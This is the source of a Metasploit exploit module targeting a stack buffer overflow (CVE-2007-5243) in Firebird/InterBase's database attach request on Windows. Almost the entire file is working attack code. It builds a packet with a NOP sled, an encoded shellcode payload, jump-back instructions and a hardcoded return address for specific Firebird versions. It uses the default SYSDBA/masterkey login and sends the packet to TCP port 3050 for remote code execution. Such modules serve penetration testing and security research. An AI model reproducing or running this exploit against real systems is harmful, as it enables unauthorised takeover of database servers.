metasploit-framework/modules/exploits/windows/misc/fb_isc_attach_database.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::BruteTargets
def initialize(info = {})
super(update_info(info,
'Name' => 'Firebird Relational Database isc_attach_database() Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Borland InterBase
by sending a specially crafted create request.
},
'Author' =>
[
'Ramon de C Valle',
'Adriano Lima <adriano[at]risesecurity.org>',
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2007-5243' ],
[ 'OSVDB', '38607' ],
[ 'BID', '25917' ],
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x2f\x3a\x40\x5c",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Brute Force', { } ],
# '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'
[
'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',
{ 'Length' => [ 756 ], 'Ret' => 0x00370b0b }
],
# Debug
[
'Debug',
{ 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }
],
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Oct 03 2007'
))
register_options(
[
Opt::RPORT(3050)
], self.class)
end
# Create database parameter block
def dpb_create
isc_dpb_user_name = 28
isc_dpb_password = 29
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isc_dpb_version1 = 1
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user = 'SYSDBA'
pass = 'masterkey'
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dpb = ''
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dpb << [isc_dpb_version1].pack('c')
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dpb << [isc_dpb_user_name].pack('c')
dpb << [user.length].pack('c')
dpb << user
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dpb << [isc_dpb_password].pack('c')
dpb << [pass.length].pack('c')
dpb << pass
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dpb
end
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# Calculate buffer padding
def buf_padding(length = '')
remainder = length.remainder(4)
padding = 0
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if remainder > 0
padding = (4 - remainder)
end
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padding
end
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def exploit_target(target)
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target['Length'].each do |length|
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connect
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# Attach database
op_attach = 19
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# Extra padding to trigger the exception
extra_padding = 1024 * 16
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buf = ''
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# Operation/packet type
buf << [op_attach].pack('N')
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# Id
buf << [0].pack('N')
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# Length
buf << [length + extra_padding].pack('N')
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# Nop block
buf << make_nops(length - payload.encoded.length - 13)
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# Payload
buf << payload.encoded
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# Jump back into the nop block
buf << "\xe9" + [-516].pack('V')
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# Jump back
buf << "\xeb" + [-7].pack('c')
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# Random alpha data
buf << rand_text_alpha(2)
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# Target
buf << [target.ret].pack('V')
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# Random alpha data
buf << rand_text_alpha(extra_padding)
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# Padding
buf << "\x00" * buf_padding(length + extra_padding)
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# Database parameter block
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# Create database parameter block
dpb = dpb_create
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# Database parameter block length
buf << [dpb.length].pack('N')
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# Database parameter block
buf << dpb
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# Padding
buf << "\x00" * buf_padding(dpb.length)
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sock.put(buf)
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select(nil,nil,nil,4)
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handler
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end
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end
end